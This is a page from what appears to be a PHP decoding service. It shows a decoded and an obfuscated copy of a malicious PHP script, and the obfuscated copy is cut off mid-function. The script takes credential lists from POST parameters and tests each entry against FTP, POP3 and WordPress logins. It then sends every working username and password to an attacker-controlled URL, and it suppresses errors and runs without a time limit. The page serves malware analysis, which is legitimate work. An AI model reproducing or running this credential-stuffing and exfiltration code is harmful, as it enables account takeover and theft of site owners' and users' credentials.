Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto DfW6m; DfW6m: define("\x43\x63\x4b\x6b\x66", 0); goto cm4SB; wInnC: $NrzD7 = $..
Decoded Output download
<?php
goto DfW6m; DfW6m: define("CcKkf", 0); goto cm4SB; wInnC: $NrzD7 = $_POST["pass"]; goto h3bqH; jcSDI: @ignore_user_abort(true); goto RbKmb; Nz34f: function W0RmX($mJdRt, $NrzD7, $Op5GZ) { goto kXvBo; r7xdY: Pdvvm: goto qZz9q; qZz9q: ftp_close($y74O_); goto Lm_54; cPnvz: ftp_close($y74O_); goto PmJDS; Lm_54: I1jom: goto OuKGr; PmJDS: return true; goto r7xdY; kXvBo: $y74O_ = ftp_connect($Op5GZ, 21, 15); goto FOPXk; FOPXk: if (!$y74O_) { goto I1jom; } goto ubUA8; OuKGr: return false; goto zV81L; ubUA8: if (!ftp_login($y74O_, $mJdRt, $NrzD7)) { goto Pdvvm; } goto cPnvz; zV81L: } goto bTuFF; D7BkD: function OLwC5($euuhx, $pmvLU) { goto c4Zuc; wduP9: return $GKhFy; goto Jc_SE; q5INp: h29xT($hT2j9, TkNcF, 15); goto U0kXs; n4Fp7: OCz6o($hT2j9); goto wduP9; jO8wh: h29Xt($hT2j9, a2ohv, TRUE); goto q5INp; hO0Ad: h29xT($hT2j9, OOGeg, array("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language: en-us,en;q=0.5", "Accept-Encoding: gzip, deflate", "Referer: {$euuhx}", "Cookie: wordpress_test_cookie=WP+Cookie+check", "Connection: keep-alive", "Content-Type: application/x-www-form-urlencoded")); goto EDooF; c4Zuc: $hT2j9 = YnDx6($euuhx); goto jO8wh; U0kXs: H29xT($hT2j9, KUbvM, true); goto hO0Ad; ObI1j: $GKhFy = ZKJSc($hT2j9); goto n4Fp7; EDooF: H29XT($hT2j9, bAW1O, $pmvLU); goto ObI1j; Jc_SE: } goto D11cR; GTK2a: bmJmA: goto KYFEY; fhNfJ: @set_time_limit(0); goto jcSDI; EpRgf: if (!($_POST["p"] == 995 && strpos($_POST["s"], "ssl://") === false)) { goto k3mza; } goto u2mNf; aPFE1: function hxhlc($euuhx, $pmvLU) { goto oKLM5; oKLM5: $UQ9Er = array("http" => array("protocol_version" => "1.1", "follow_location" => false, "method" => "POST", "header" => "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0\xd
" . "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
\xa" . "Accept-Language: en-us,en;q=0.5
" . "Accept-Encoding: gzip, deflate\xd\xa" . "Referer: {$euuhx}
\xa" . "Cookie: wordpress_test_cookie=WP+Cookie+check
\xa" . "Connection: close
" . "Content-type: application/x-www-form-urlencoded", "content" => $pmvLU)); goto Xk3Zt; S6bZa: return ''; goto xBWgP; VQLcu: if (!($eAIpn === false)) { goto m_D7F; } goto S6bZa; xBWgP: m_D7F: goto Qb8d7; RobtF: $eAIpn = file_get_contents($euuhx, false, $q1JfV); goto VQLcu; Qb8d7: return implode("
", $yV8K6) . "
\xd\xa" . $eAIpn; goto j30BG; Xk3Zt: $q1JfV = stream_context_create($UQ9Er); goto RobtF; j30BG: } goto uZxUS; O4aqP: @fclose($Xxr2S); goto NmqYt; h7Mln: foreach ($sN9Yz as $F1Ofx) { goto qf9C7; qf9C7: $F1Ofx = trim($F1Ofx); goto LU5A3; VStas: $QDBu9 = str_replace("[domain.com]", $jtHRA, $QDBu9); goto C3hrZ; iN_Qm: list($mJdRt, $NrzD7, $Op5GZ) = explode(";", $F1Ofx, 3); goto oZG3r; inmhO: $zLtOf = explode("@", $SdbW2); goto vuqLL; nkpsj: $uJYKU = $mJdRt; goto DOBtV; poWZL: $QDBu9 = str_replace("[email]", $SdbW2, $QDBu9); goto qBqNz; LbqiC: $rDBYq = strpos($jtHRA, "."); goto SSn07; SSn07: $SJQvc = substr($jtHRA, 0, $rDBYq); goto X8ScN; QwNZW: xZl3z($jO_1U . "?str=" . urlencode("{$mJdRt};{$NrzD7};{$Op5GZ}")); goto nrswL; LU5A3: if (!empty($F1Ofx)) { goto BEuT_; } goto q1A_a; KUUsU: list($euuhx, $dQTcN) = explode(" ", $F1Ofx, 2); goto HTRaG; vu1kB: Xzl3Z($jO_1U . "?str=" . urlencode("{$mJdRt};{$QDBu9};{$SdbW2};{$Op5GZ};{$E8Bs8}")); goto NU3D1; QmmsD: $QDBu9 = $NrzD7; goto nkpsj; NU3D1: sfRan: goto O6w6R; HTRaG: list($mJdRt, $NrzD7) = explode(":", $dQTcN, 2); goto oCxhr; ZOoTN: $uJYKU = substr($uJYKU, 0, $rDBYq); goto KVhom; C3hrZ: if (!SSkTi($mJdRt, $QDBu9, $Op5GZ, $E8Bs8)) { goto sfRan; } goto vu1kB; nrswL: kn1BY: goto T07Sx; cIcaQ: DGNS7: goto QHKFT; q1A_a: goto ZyY_i; goto dcx1I; Nqp7r: FPhpO: goto iN_Qm; UxEiE: XzL3Z($jO_1U . "?str=" . urlencode("{$euuhx};{$mJdRt};{$NrzD7}")); goto cIcaQ; qBqNz: $QDBu9 = str_replace("[domain]", $SJQvc, $QDBu9); goto VStas; T07Sx: s7muw: goto KNwW7; oCxhr: if (!TdZG3($euuhx, $mJdRt, $NrzD7)) { goto DGNS7; } goto UxEiE; DOBtV: $rDBYq = strpos($uJYKU, "@"); goto hbN7Z; jDMix: if ($h_igg == 2) { goto FPhpO; } goto Z3MrO; hbN7Z: if (!($rDBYq > 0)) { goto irY8P; } goto ZOoTN; Z3MrO: list($mJdRt, $SdbW2, $Op5GZ, $E8Bs8) = explode(";", $F1Ofx, 4); goto QmmsD; KVhom: irY8P: goto inmhO; oZG3r: if (!W0RMx($mJdRt, $NrzD7, $Op5GZ)) { goto kn1BY; } goto QwNZW; O6w6R: goto s7muw; goto E_xbC; X8ScN: $QDBu9 = str_replace("[login]", $uJYKU, $QDBu9); goto poWZL; KNwW7: ZyY_i: goto mb9fr; hlXUH: $h_igg = substr_count($F1Ofx, ";"); goto ddaxQ; E_xbC: hV1Yi: goto KUUsU; QHKFT: goto s7muw; goto Nqp7r; vuqLL: $jtHRA = $zLtOf[1]; goto LbqiC; ddaxQ: if ($h_igg == 0) { goto hV1Yi; } goto jDMix; dcx1I: BEuT_: goto hlXUH; mb9fr: } goto GTK2a; RbKmb: $sN9Yz = explode("\xa", $TtctU); goto LkE1d; RSm7X: k3mza: goto saAHK; u2mNf: $_POST["s"] = "ssl://" . $_POST["s"]; goto RSm7X; NmqYt: XzL3Z($jO_1U . "?str=" . urlencode($_POST["r"])); goto lrnzI; h3bqH: $TtctU = $_POST["list"]; goto E9IVK; LkE1d: $DM6FR = ''; goto h7Mln; i1whK: @error_reporting(0); goto fhNfJ; uZxUS: function Ji6pd($pmvLU, $V1KfT, $m7P6r, $d4CHa, $mEx0O = '') { goto S5iur; e7k9p: $xiCOi .= fread($V1KfT, 4096); goto SQJfo; xaA23: fputs($V1KfT, "POST " . $d4CHa . $mEx0O . " HTTP/1.1\xd
" . "Host: {$m7P6r}\xd
" . "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
" . "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
" . "Accept-Language: en-us,en;q=0.5
\xa" . "Accept-Encoding: gzip, deflate
" . "Referer: http://{$m7P6r}{$d4CHa}\xd\xa" . "Cookie: wordpress_test_cookie=WP+Cookie+check
\xa" . "Connection: keep-alive
" . "Content-Type: application/x-www-form-urlencoded
" . "Content-Length: {$M3xAb}\xd
" . "
\xa{$pmvLU}
"); goto e7k9p; N2Ijd: return $xiCOi; goto pdsX1; egtpo: $M3xAb = strlen($pmvLU); goto xaA23; S5iur: $xiCOi = ''; goto egtpo; SQJfo: fclose($V1KfT); goto N2Ijd; pdsX1: } goto D7BkD; KYFEY: function XZL3Z($euuhx) { goto bdtGD; ERGq2: oCZ6O($hT2j9); goto du6TW; iyq0o: UTl39: goto Bn_T0; hWjEU: return $GKhFy; goto HE4pD; IfgxJ: H29xT($hT2j9, TkNcF, 10); goto YQI3p; du6TW: ckxt5: goto hWjEU; Bn_T0: $hT2j9 = ynDX6($euuhx); goto pdUB7; StGB5: $GKhFy = @file_get_contents($euuhx, 0, $smJtQ); goto FCL7u; FQTpR: $smJtQ = @stream_context_create(array("http" => array("timeout" => 10))); goto StGB5; wmVf8: H29Xt($hT2j9, a2ohv, TRUE); goto IfgxJ; bdtGD: if (function_exists("zkjSC")) { goto UTl39; } goto FQTpR; pdUB7: h29xt($hT2j9, KUbvM, FALSE); goto wmVf8; YQI3p: $GKhFy = ZKJSC($hT2j9); goto ERGq2; FCL7u: goto ckxt5; goto iyq0o; HE4pD: } goto Nz34f; lrnzI: hIs3W: goto f0hwR; bTuFF: function SSktI($mJdRt, $NrzD7, $Op5GZ, $E8Bs8) { goto aGSLK; Qz8nb: if ($Xxr2S) { goto s7mAu; } goto UNDd7; YUs4I: @stream_set_timeout($Xxr2S, 2); goto L0iQd; uPYfz: if (!$VUBGg) { goto fi2O3; } goto jS3TU; qAQwi: ojDgQ: goto dM8he; L0iQd: fi2O3: goto BlPhA; HtR43: return true; goto xt1mN; uGoPz: s7mAu: goto YUs4I; e1XhP: @fclose($Xxr2S); goto e_9tF; dM8he: @fputs($Xxr2S, "QUIT" . "
\xa"); goto e1XhP; Kv2cP: CX4F4: goto qMFE3; bVb_A: return false; goto nX3Rr; kMarB: @fputs($Xxr2S, "PASS " . $NrzD7 . "
\xa"); goto d22m9; kwmD9: EZ10k: goto lcIbL; GO98N: if (!$VUBGg) { goto CX4F4; } goto Gep5E; d22m9: ULL6G: goto HDseA; xt1mN: kOAHy: goto bVb_A; lO0KZ: $Op5GZ = "ssl://" . $Op5GZ; goto kwmD9; UNDd7: return false; goto uGoPz; CN2vc: @fputs($Xxr2S, "USER " . $mJdRt . "
\xa"); goto Kv2cP; jS3TU: Of2Jq: goto CN2vc; qMFE3: $VUBGg = @fgets($Xxr2S, 1024); goto GO98N; aGSLK: if (!($E8Bs8 == 995 && strpos($Op5GZ, "ssl://") === false)) { goto EZ10k; } goto lO0KZ; HDseA: $VUBGg = @fgets($Xxr2S, 1024); goto XGrsL; lcIbL: $Xxr2S = @fsockopen($Op5GZ, $E8Bs8, $LFWhv, $bFGxv, 7); goto Qz8nb; BlPhA: $VUBGg = @fgets($Xxr2S, 1024); goto uPYfz; Gep5E: bvDLZ: goto kMarB; XGrsL: if (!$VUBGg) { goto ULL6G; } goto qAQwi; e_9tF: if (!(@stripos($VUBGg, "+OK") !== false)) { goto kOAHy; } goto HtR43; nX3Rr: } goto Vwrc8; A5bVb: RtJx_: goto i1whK; Vwrc8: function TDzg3($euuhx, $mJdRt, $NrzD7) { goto uTr_8; M6RQP: $h_igg = QnGZV($euuhx, $pmvLU); goto Pn1Rn; Pn1Rn: if (stripos($h_igg, "Set-Cookie: wordpress_logged_in_") && (stripos($h_igg, "HTTP/1.1 302") === 0 || stripos($h_igg, "HTTP/1.0 302") === 0) && preg_match("~Location:.*/wp-admin/~", $h_igg)) { goto B2Stv; } goto p_6hK; KSeak: return true; goto bkOkz; p_6hK: return false; goto axzJo; brXnO: B2Stv: goto KSeak; j0KuI: $pmvLU = "log=" . urlencode($mJdRt) . "&pwd=" . urlencode($NrzD7) . "&wp-submit=&redirect_to=" . urlencode($w7l2Z) . "&testcookie=1"; goto M6RQP; bkOkz: Auy15: goto AAi7r; uTr_8: $w7l2Z = str_replace("/wp-login.php", "/wp-admin/", $euuhx); goto j0KuI; axzJo: goto Auy15; goto brXnO; AAi7r: } goto aPFE1; oyXRN: if (!$Xxr2S) { goto hIs3W; } goto O4aqP; E9IVK: if (!empty($NrzD7)) { goto RtJx_; } goto EpRgf; f0hwR: die; goto A5bVb; saAHK: $Xxr2S = @fsockopen($_POST["s"], $_POST["p"], $LFWhv, $bFGxv, 5); goto oyXRN; cm4SB: $jO_1U = $_POST["url"]; goto wInnC; D11cR: function QNGzV($euuhx, $pmvLU) { goto n4336; G_Vds: $ffp7S = parse_url($euuhx); goto v2537; IhfO3: goto IqFNb; goto K8MyB; Kk1_V: v5jiz: goto a1wkH; rhOXV: if ((CcKkf === 0 || CcKkf === 3) && @function_exists("Yndx6")) { goto RbcWN; } goto oqlw3; P8zvy: return HXhLC($euuhx, $pmvLU); goto SmN0m; K8MyB: RbcWN: goto pI7yV; n4336: if ((CcKkf === 0 || CcKkf === 1) && ini_get("allow_url_fopen") == 1) { goto Or9F8; } goto G_Vds; u3t1U: Or9F8: goto P8zvy; PlFj1: goto Ra3Uj; goto u3t1U; v2537: if ((CcKkf === 0 || CcKkf === 2) && ($V1KfT = @fsockopen($ffp7S["host"], 80, $LFWhv, $bFGxv, 15))) { goto v5jiz; } goto rhOXV; pI7yV: return oLwc5($euuhx, $pmvLU); goto Sux94; a1wkH: return Ji6pd($pmvLU, $V1KfT, $ffp7S["host"], $ffp7S["path"]); goto IhfO3; Sux94: IqFNb: goto PlFj1; SmN0m: Ra3Uj: goto eo65j; oqlw3: goto IqFNb; goto Kk1_V; eo65j: } ?>
Did this file decode correctly?
Original Code
<?php
goto DfW6m; DfW6m: define("\x43\x63\x4b\x6b\x66", 0); goto cm4SB; wInnC: $NrzD7 = $_POST["\x70\141\x73\163"]; goto h3bqH; jcSDI: @ignore_user_abort(true); goto RbKmb; Nz34f: function W0RmX($mJdRt, $NrzD7, $Op5GZ) { goto kXvBo; r7xdY: Pdvvm: goto qZz9q; qZz9q: ftp_close($y74O_); goto Lm_54; cPnvz: ftp_close($y74O_); goto PmJDS; Lm_54: I1jom: goto OuKGr; PmJDS: return true; goto r7xdY; kXvBo: $y74O_ = ftp_connect($Op5GZ, 21, 15); goto FOPXk; FOPXk: if (!$y74O_) { goto I1jom; } goto ubUA8; OuKGr: return false; goto zV81L; ubUA8: if (!ftp_login($y74O_, $mJdRt, $NrzD7)) { goto Pdvvm; } goto cPnvz; zV81L: } goto bTuFF; D7BkD: function OLwC5($euuhx, $pmvLU) { goto c4Zuc; wduP9: return $GKhFy; goto Jc_SE; q5INp: h29xT($hT2j9, TkNcF, 15); goto U0kXs; n4Fp7: OCz6o($hT2j9); goto wduP9; jO8wh: h29Xt($hT2j9, a2ohv, TRUE); goto q5INp; hO0Ad: h29xT($hT2j9, OOGeg, array("\x55\163\145\x72\55\x41\x67\x65\156\x74\72\x20\115\157\172\x69\154\x6c\141\x2f\x35\x2e\x30\x20\50\127\x69\x6e\x64\157\167\163\40\x4e\124\x20\66\x2e\x31\x3b\40\127\x4f\127\66\x34\x3b\40\162\166\x3a\65\x31\x2e\x30\x29\x20\x47\x65\x63\153\x6f\57\62\60\x31\60\x30\61\60\x31\x20\x46\151\x72\x65\x66\157\x78\57\x35\61\56\x30", "\101\143\x63\x65\160\164\x3a\40\164\145\170\x74\57\x68\x74\x6d\154\x2c\x61\160\x70\154\151\143\141\x74\x69\x6f\x6e\57\170\150\164\x6d\x6c\x2b\170\155\x6c\x2c\141\x70\160\154\151\x63\141\164\x69\x6f\x6e\57\170\x6d\154\73\161\x3d\x30\x2e\x39\54\x2a\x2f\52\x3b\x71\x3d\60\x2e\x38", "\x41\143\x63\145\160\164\x2d\114\x61\x6e\x67\165\x61\147\145\x3a\x20\x65\x6e\x2d\x75\163\x2c\145\156\73\x71\75\60\x2e\65", "\101\x63\143\x65\x70\x74\55\x45\x6e\x63\x6f\144\151\156\147\72\40\x67\x7a\x69\x70\54\x20\144\145\x66\154\x61\x74\145", "\x52\x65\146\x65\x72\145\162\72\40{$euuhx}", "\x43\157\157\153\151\145\72\x20\167\x6f\162\144\160\162\145\x73\x73\137\164\x65\163\164\137\x63\157\x6f\x6b\x69\145\x3d\x57\x50\x2b\103\157\157\153\x69\x65\x2b\x63\150\x65\143\x6b", "\103\x6f\x6e\156\145\143\164\151\x6f\x6e\72\x20\153\x65\x65\x70\55\141\x6c\x69\x76\145", "\103\x6f\156\164\x65\156\164\x2d\124\x79\x70\x65\72\40\x61\160\x70\154\151\143\x61\x74\x69\x6f\156\x2f\x78\x2d\x77\x77\167\55\x66\x6f\x72\x6d\55\x75\162\154\x65\x6e\143\157\x64\x65\144")); goto EDooF; c4Zuc: $hT2j9 = YnDx6($euuhx); goto jO8wh; U0kXs: H29xT($hT2j9, KUbvM, true); goto hO0Ad; ObI1j: $GKhFy = ZKJSc($hT2j9); goto n4Fp7; EDooF: H29XT($hT2j9, bAW1O, $pmvLU); goto ObI1j; Jc_SE: } goto D11cR; GTK2a: bmJmA: goto KYFEY; fhNfJ: @set_time_limit(0); goto jcSDI; EpRgf: if (!($_POST["\x70"] == 995 && strpos($_POST["\x73"], "\x73\163\154\x3a\x2f\x2f") === false)) { goto k3mza; } goto u2mNf; aPFE1: function hxhlc($euuhx, $pmvLU) { goto oKLM5; oKLM5: $UQ9Er = array("\x68\164\164\160" => array("\x70\162\157\x74\x6f\143\157\x6c\x5f\166\x65\x72\x73\x69\157\x6e" => "\x31\56\x31", "\146\x6f\154\x6c\157\x77\x5f\154\157\143\141\x74\151\157\156" => false, "\x6d\145\x74\150\x6f\144" => "\120\x4f\x53\x54", "\150\x65\141\x64\x65\x72" => "\125\x73\x65\x72\55\101\147\145\x6e\x74\x3a\x20\115\157\x7a\151\x6c\154\x61\x2f\65\56\x30\x20\x28\x57\x69\156\x64\157\167\163\40\116\124\x20\x36\x2e\61\x3b\x20\x57\x4f\x57\66\x34\x3b\40\x72\x76\x3a\65\61\x2e\x30\x29\x20\107\145\x63\153\x6f\x2f\62\60\61\x30\60\61\60\61\x20\106\151\162\145\146\x6f\x78\57\x35\x31\56\60\xd\12" . "\101\x63\x63\x65\x70\164\72\40\164\145\170\164\x2f\150\164\155\x6c\54\141\x70\160\154\151\143\141\x74\x69\157\156\x2f\x78\x68\164\155\154\53\170\x6d\x6c\54\141\160\160\154\x69\143\141\164\x69\x6f\156\57\x78\155\x6c\x3b\161\75\60\x2e\x39\54\52\x2f\x2a\73\x71\x3d\x30\x2e\70\15\xa" . "\x41\x63\x63\145\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\145\x3a\x20\x65\x6e\55\165\x73\54\x65\x6e\x3b\x71\75\60\x2e\65\15\12" . "\101\143\143\145\x70\x74\x2d\x45\156\143\x6f\x64\151\x6e\147\x3a\40\x67\172\x69\160\x2c\x20\x64\145\146\154\141\164\x65\xd\xa" . "\x52\x65\146\145\x72\x65\162\x3a\x20{$euuhx}\15\xa" . "\x43\157\157\x6b\x69\145\72\40\x77\157\x72\x64\160\x72\145\163\x73\137\x74\x65\163\x74\x5f\x63\x6f\157\x6b\151\x65\75\x57\x50\53\103\x6f\157\x6b\x69\x65\53\143\x68\145\143\153\15\xa" . "\103\x6f\x6e\x6e\x65\x63\164\x69\x6f\x6e\72\x20\x63\x6c\157\x73\145\15\12" . "\x43\x6f\156\x74\x65\156\164\x2d\x74\x79\x70\145\72\40\141\160\160\x6c\151\143\141\x74\151\x6f\x6e\x2f\x78\55\167\167\x77\x2d\146\157\162\x6d\x2d\165\x72\154\145\156\143\x6f\x64\x65\x64", "\143\157\x6e\x74\x65\x6e\164" => $pmvLU)); goto Xk3Zt; S6bZa: return ''; goto xBWgP; VQLcu: if (!($eAIpn === false)) { goto m_D7F; } goto S6bZa; xBWgP: m_D7F: goto Qb8d7; RobtF: $eAIpn = file_get_contents($euuhx, false, $q1JfV); goto VQLcu; Qb8d7: return implode("\15\12", $yV8K6) . "\15\12\xd\xa" . $eAIpn; goto j30BG; Xk3Zt: $q1JfV = stream_context_create($UQ9Er); goto RobtF; j30BG: } goto uZxUS; O4aqP: @fclose($Xxr2S); goto NmqYt; h7Mln: foreach ($sN9Yz as $F1Ofx) { goto qf9C7; qf9C7: $F1Ofx = trim($F1Ofx); goto LU5A3; VStas: $QDBu9 = str_replace("\x5b\x64\157\155\141\x69\156\56\x63\157\155\135", $jtHRA, $QDBu9); goto C3hrZ; iN_Qm: list($mJdRt, $NrzD7, $Op5GZ) = explode("\x3b", $F1Ofx, 3); goto oZG3r; inmhO: $zLtOf = explode("\100", $SdbW2); goto vuqLL; nkpsj: $uJYKU = $mJdRt; goto DOBtV; poWZL: $QDBu9 = str_replace("\133\x65\155\141\x69\x6c\135", $SdbW2, $QDBu9); goto qBqNz; LbqiC: $rDBYq = strpos($jtHRA, "\56"); goto SSn07; SSn07: $SJQvc = substr($jtHRA, 0, $rDBYq); goto X8ScN; QwNZW: xZl3z($jO_1U . "\x3f\163\x74\162\x3d" . urlencode("{$mJdRt}\x3b{$NrzD7}\x3b{$Op5GZ}")); goto nrswL; LU5A3: if (!empty($F1Ofx)) { goto BEuT_; } goto q1A_a; KUUsU: list($euuhx, $dQTcN) = explode("\40", $F1Ofx, 2); goto HTRaG; vu1kB: Xzl3Z($jO_1U . "\77\163\x74\162\x3d" . urlencode("{$mJdRt}\x3b{$QDBu9}\x3b{$SdbW2}\x3b{$Op5GZ}\x3b{$E8Bs8}")); goto NU3D1; QmmsD: $QDBu9 = $NrzD7; goto nkpsj; NU3D1: sfRan: goto O6w6R; HTRaG: list($mJdRt, $NrzD7) = explode("\72", $dQTcN, 2); goto oCxhr; ZOoTN: $uJYKU = substr($uJYKU, 0, $rDBYq); goto KVhom; C3hrZ: if (!SSkTi($mJdRt, $QDBu9, $Op5GZ, $E8Bs8)) { goto sfRan; } goto vu1kB; nrswL: kn1BY: goto T07Sx; cIcaQ: DGNS7: goto QHKFT; q1A_a: goto ZyY_i; goto dcx1I; Nqp7r: FPhpO: goto iN_Qm; UxEiE: XzL3Z($jO_1U . "\77\163\x74\162\75" . urlencode("{$euuhx}\73{$mJdRt}\x3b{$NrzD7}")); goto cIcaQ; qBqNz: $QDBu9 = str_replace("\x5b\x64\157\x6d\141\x69\156\x5d", $SJQvc, $QDBu9); goto VStas; T07Sx: s7muw: goto KNwW7; oCxhr: if (!TdZG3($euuhx, $mJdRt, $NrzD7)) { goto DGNS7; } goto UxEiE; DOBtV: $rDBYq = strpos($uJYKU, "\100"); goto hbN7Z; jDMix: if ($h_igg == 2) { goto FPhpO; } goto Z3MrO; hbN7Z: if (!($rDBYq > 0)) { goto irY8P; } goto ZOoTN; Z3MrO: list($mJdRt, $SdbW2, $Op5GZ, $E8Bs8) = explode("\x3b", $F1Ofx, 4); goto QmmsD; KVhom: irY8P: goto inmhO; oZG3r: if (!W0RMx($mJdRt, $NrzD7, $Op5GZ)) { goto kn1BY; } goto QwNZW; O6w6R: goto s7muw; goto E_xbC; X8ScN: $QDBu9 = str_replace("\133\x6c\x6f\x67\151\x6e\135", $uJYKU, $QDBu9); goto poWZL; KNwW7: ZyY_i: goto mb9fr; hlXUH: $h_igg = substr_count($F1Ofx, "\x3b"); goto ddaxQ; E_xbC: hV1Yi: goto KUUsU; QHKFT: goto s7muw; goto Nqp7r; vuqLL: $jtHRA = $zLtOf[1]; goto LbqiC; ddaxQ: if ($h_igg == 0) { goto hV1Yi; } goto jDMix; dcx1I: BEuT_: goto hlXUH; mb9fr: } goto GTK2a; RbKmb: $sN9Yz = explode("\xa", $TtctU); goto LkE1d; RSm7X: k3mza: goto saAHK; u2mNf: $_POST["\x73"] = "\163\163\x6c\x3a\57\57" . $_POST["\163"]; goto RSm7X; NmqYt: XzL3Z($jO_1U . "\77\x73\x74\x72\75" . urlencode($_POST["\162"])); goto lrnzI; h3bqH: $TtctU = $_POST["\154\x69\163\164"]; goto E9IVK; LkE1d: $DM6FR = ''; goto h7Mln; i1whK: @error_reporting(0); goto fhNfJ; uZxUS: function Ji6pd($pmvLU, $V1KfT, $m7P6r, $d4CHa, $mEx0O = '') { goto S5iur; e7k9p: $xiCOi .= fread($V1KfT, 4096); goto SQJfo; xaA23: fputs($V1KfT, "\x50\x4f\x53\x54\x20" . $d4CHa . $mEx0O . "\40\110\x54\124\x50\57\x31\x2e\x31\xd\12" . "\110\x6f\163\164\72\40{$m7P6r}\xd\12" . "\x55\x73\145\x72\55\x41\147\x65\156\164\72\x20\x4d\x6f\x7a\x69\154\154\x61\x2f\x35\x2e\x30\x20\50\127\151\156\x64\x6f\167\x73\x20\x4e\124\x20\66\x2e\x31\x3b\x20\x57\x4f\127\66\x34\x3b\x20\162\x76\x3a\65\x31\56\x30\x29\40\107\x65\x63\x6b\x6f\57\x32\60\x31\60\60\61\x30\x31\40\x46\151\162\145\146\157\x78\57\x35\x31\56\x30\15\12" . "\x41\143\x63\145\x70\x74\72\40\164\145\170\164\x2f\150\x74\155\154\x2c\141\x70\x70\x6c\151\x63\141\164\x69\157\156\x2f\170\150\x74\155\x6c\53\170\x6d\x6c\54\141\x70\x70\154\151\x63\x61\164\151\x6f\x6e\x2f\170\155\x6c\x3b\161\x3d\x30\56\x39\54\x2a\x2f\52\73\x71\x3d\60\56\x38\15\12" . "\x41\143\x63\x65\160\x74\x2d\114\141\x6e\147\x75\x61\x67\x65\72\x20\145\x6e\x2d\x75\x73\54\145\156\x3b\x71\75\60\x2e\x35\15\xa" . "\101\x63\x63\145\160\x74\55\105\156\143\157\x64\x69\x6e\147\72\40\x67\x7a\x69\160\x2c\x20\x64\x65\x66\x6c\141\x74\145\15\12" . "\x52\x65\x66\145\x72\x65\162\x3a\x20\x68\164\x74\x70\x3a\57\x2f{$m7P6r}{$d4CHa}\xd\xa" . "\x43\157\x6f\153\x69\145\72\40\x77\x6f\162\x64\160\162\145\163\163\137\x74\x65\163\164\x5f\x63\157\x6f\153\x69\x65\75\127\x50\53\x43\x6f\157\153\x69\145\53\x63\x68\145\x63\153\15\xa" . "\103\157\156\x6e\145\x63\x74\151\157\156\72\x20\x6b\x65\x65\x70\x2d\141\x6c\x69\166\145\15\12" . "\x43\x6f\156\x74\145\156\x74\x2d\124\x79\x70\x65\x3a\40\141\x70\160\154\x69\x63\x61\x74\151\x6f\x6e\x2f\x78\55\167\167\167\55\x66\157\x72\x6d\x2d\165\x72\154\145\x6e\x63\x6f\144\x65\144\15\12" . "\103\157\156\x74\145\156\164\55\x4c\x65\x6e\x67\x74\x68\72\40{$M3xAb}\xd\12" . "\15\xa{$pmvLU}\15\12"); goto e7k9p; N2Ijd: return $xiCOi; goto pdsX1; egtpo: $M3xAb = strlen($pmvLU); goto xaA23; S5iur: $xiCOi = ''; goto egtpo; SQJfo: fclose($V1KfT); goto N2Ijd; pdsX1: } goto D7BkD; KYFEY: function XZL3Z($euuhx) { goto bdtGD; ERGq2: oCZ6O($hT2j9); goto du6TW; iyq0o: UTl39: goto Bn_T0; hWjEU: return $GKhFy; goto HE4pD; IfgxJ: H29xT($hT2j9, TkNcF, 10); goto YQI3p; du6TW: ckxt5: goto hWjEU; Bn_T0: $hT2j9 = ynDX6($euuhx); goto pdUB7; StGB5: $GKhFy = @file_get_contents($euuhx, 0, $smJtQ); goto FCL7u; FQTpR: $smJtQ = @stream_context_create(array("\x68\164\164\160" => array("\x74\151\x6d\145\157\165\x74" => 10))); goto StGB5; wmVf8: H29Xt($hT2j9, a2ohv, TRUE); goto IfgxJ; bdtGD: if (function_exists("\172\153\x6a\x53\103")) { goto UTl39; } goto FQTpR; pdUB7: h29xt($hT2j9, KUbvM, FALSE); goto wmVf8; YQI3p: $GKhFy = ZKJSC($hT2j9); goto ERGq2; FCL7u: goto ckxt5; goto iyq0o; HE4pD: } goto Nz34f; lrnzI: hIs3W: goto f0hwR; bTuFF: function SSktI($mJdRt, $NrzD7, $Op5GZ, $E8Bs8) { goto aGSLK; Qz8nb: if ($Xxr2S) { goto s7mAu; } goto UNDd7; YUs4I: @stream_set_timeout($Xxr2S, 2); goto L0iQd; uPYfz: if (!$VUBGg) { goto fi2O3; } goto jS3TU; qAQwi: ojDgQ: goto dM8he; L0iQd: fi2O3: goto BlPhA; HtR43: return true; goto xt1mN; uGoPz: s7mAu: goto YUs4I; e1XhP: @fclose($Xxr2S); goto e_9tF; dM8he: @fputs($Xxr2S, "\121\x55\x49\124" . "\15\xa"); goto e1XhP; Kv2cP: CX4F4: goto qMFE3; bVb_A: return false; goto nX3Rr; kMarB: @fputs($Xxr2S, "\x50\101\x53\123\x20" . $NrzD7 . "\15\xa"); goto d22m9; kwmD9: EZ10k: goto lcIbL; GO98N: if (!$VUBGg) { goto CX4F4; } goto Gep5E; d22m9: ULL6G: goto HDseA; xt1mN: kOAHy: goto bVb_A; lO0KZ: $Op5GZ = "\x73\163\x6c\72\57\57" . $Op5GZ; goto kwmD9; UNDd7: return false; goto uGoPz; CN2vc: @fputs($Xxr2S, "\125\123\x45\122\x20" . $mJdRt . "\15\xa"); goto Kv2cP; jS3TU: Of2Jq: goto CN2vc; qMFE3: $VUBGg = @fgets($Xxr2S, 1024); goto GO98N; aGSLK: if (!($E8Bs8 == 995 && strpos($Op5GZ, "\163\163\154\72\x2f\x2f") === false)) { goto EZ10k; } goto lO0KZ; HDseA: $VUBGg = @fgets($Xxr2S, 1024); goto XGrsL; lcIbL: $Xxr2S = @fsockopen($Op5GZ, $E8Bs8, $LFWhv, $bFGxv, 7); goto Qz8nb; BlPhA: $VUBGg = @fgets($Xxr2S, 1024); goto uPYfz; Gep5E: bvDLZ: goto kMarB; XGrsL: if (!$VUBGg) { goto ULL6G; } goto qAQwi; e_9tF: if (!(@stripos($VUBGg, "\53\x4f\113") !== false)) { goto kOAHy; } goto HtR43; nX3Rr: } goto Vwrc8; A5bVb: RtJx_: goto i1whK; Vwrc8: function TDzg3($euuhx, $mJdRt, $NrzD7) { goto uTr_8; M6RQP: $h_igg = 